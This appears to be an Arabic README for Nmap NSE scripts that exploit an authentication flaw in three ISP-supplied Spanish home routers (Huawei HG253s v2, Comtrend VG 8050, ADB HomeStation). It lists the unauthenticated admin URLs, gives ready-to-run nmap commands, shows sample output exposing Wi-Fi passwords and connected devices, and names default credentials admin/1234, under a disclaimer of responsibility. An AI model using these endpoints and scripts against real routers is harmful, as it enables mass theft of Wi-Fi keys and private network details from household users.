ما هو؟

بعض نصوص NSE للبحث عن معلومات من أجهزة التوجيه (الراوترات).

مؤلف هذه النصوص هو VicenDominguez. لقد اكتشف ثغرة اليوم صفر (0-Day) في أجهزة Huawei وقمت أنا فقط بتعديلها لجهازين آخرين.

مؤلف هذا السكربت غير مسؤول عن استخدامه.

#Huawei HG253s v2 بدأت فودافون-إسبانيا بتأجير راوتر جديد من نوع Huawei HG253v2 للعملاء الإسبان. يأتي هذا الراوتر الجديد مع إصدار برنامج ثابت جديد.

##الثغرة ببساطة، لا يتحقق من كوكي الجلسة في بعض صفحات الإدارة. لذلك، من الممكن الحصول على معلومات مباشرة من عناوين URL هذه في أي راوتر مفتوح على الإنترنت.

• http://IPhtml_253s/api/ntwk/WlanBasic
• http://IP/html_253s/api/system/diagnose_internet
• http://IP/html_253s/api/system/hostinfo?type=ethhost
• http://IP/html_253s/api/system/hostinfo?type=guesthost
• http://IP/html_253s/api/system/hostinfo?type=homehost
• http://IP/html_253s/api/system/hostinfo?type=wifihost
• http://IP/html_253s/api/system/wizardcfg

##الاستخدام

nmap --script=http-enum-vodafone-hua253s.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-vodafone-hua253s: 
|   SSID: vodafone070 (14:b9:XX:XX:XX:XX) Password: (AES) 123456
|   Device: android-246e67b281179679-Wireless MAC: 48:5A:3F:XX:XX:XX IP: 192.168.0.XX

#Comtrend VG 8050 بدأت تيليفونيكا-إسبانيا بتأجير راوتر جديد من نوع Comtrend VG 8050 للعملاء الإسبان. يأتي هذا الراوتر الجديد مع إصدار برنامج ثابت جديد. تم اكتشاف هذه الثغرة بواسطة DaniLabs

##الثغرة ببساطة، لا يتحقق من كوكي الجلسة في بعض صفحات الإدارة. لذلك، من الممكن الحصول على معلومات مباشرة من عناوين URL هذه في أي راوتر مفتوح على الإنترنت.

• http://IP/getWifiInfo.jx
• http://IP/listDevices.jx
• http://IP/infoApplications.jx

##الاستخدام

nmap --script=http-enum-telefonica-comtrend-vg-8050.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-telefonica-comtrend-vg-8050: 
|   SSID: MOVISTAR_XXX
|   Cipher Algorithm: WPA
|   Password WEP: 
|   Password WPA: gTU3NkXE44RYjuM2RrxM
|   Password WPA2: 
|   Device: 192.168.0.X MAC: 5c:97:X:X:X:X IP: 192.168.0.X

#ADB P.DGA4001N المعروف أيضًا باسم HomeStation بدأت تيليفونيكا-إسبانيا بتأجير راوتر جديد من نوع ADB P.DGA4001N للعملاء الإسبان. يأتي هذا الراوتر الجديد مع إصدار برنامج ثابت جديد. تم اكتشاف هذه الثغرة بواسطة DaniLabs

##الثغرة ببساطة، لا يتحقق من كوكي الجلسة في بعض صفحات الإدارة. لذلك، من الممكن الحصول على معلومات مباشرة من عناوين URL هذه في أي راوتر مفتوح على الإنترنت.

• http://IP/getWifiInfo.jx
• http://IP/listDevices.jx
• http://IP/infoApplications.jx

بيانات الاعتماد الافتراضية هي admin / 1234 ##الاستخدام

nmap --script=http-enum-telefonica-homestation.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-telefonica-homestation: 
|   SSID: WLAN_HOME
|   Cipher Algorithm: WEP
|   Device: IphonePedro MAC: A8:8E:24:X:X:X IP: 192.168.1.X